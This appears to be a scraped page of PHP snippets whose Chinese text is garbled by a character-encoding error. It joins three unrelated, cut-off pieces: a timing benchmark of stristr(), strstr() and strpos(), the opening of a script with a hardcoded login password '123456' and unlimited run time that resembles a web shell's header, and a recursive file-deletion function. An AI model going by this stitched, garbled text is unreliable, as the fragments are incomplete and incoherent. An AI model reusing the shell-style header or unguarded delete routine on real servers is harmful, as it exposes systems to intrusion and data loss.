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PHPÖеÄstristr()£¬strstr()£¬strpos()ËٶȱȽÏ

²âËÙ´úÂë:

<?php
function getmicrotime()
{
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}

$time_start = getmicrotime();
$string="xxxddxx";
$find="d";
for ($i=0;$i<300000;$i++)
{
if (stristr($string,$find))//if (strstr($string,$find)) or if (strpos($string,$find))
{}
}
$time_end = getmicrotime();
echo $time_end-$time_start;
?>

[/php]


stristr()
µÚÒ»´Î:2.74142408371
µÚ¶þ´Î:2.52075314522
µÚÈý´Î:2.52766990662

strstr()
µÚÒ»´Î:1.43941402435
µÚ¶þ´Î:1.44914388657
µÚÈý´Î:1.51285290718

strpos()
µÚÒ»´Î:1.42109084129
µÚ¶þ´Î:1.40254187584
µÚÈý´Î:1.38609910011
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#--Config--#
$login_password= '123456'; //ÕâÊÇÃÜÂë
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......

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function delfile($dir)
{
if (is_dir($dir))
{
$dh=opendir($dir);
while (false !== ( $file = readdir ($dh)))
{
if($file!="." && $file!="..")
{
$fullpath=$dir."/".$file;
if(!is_dir($fullpath))
{
unlink($fullpath);
} ......

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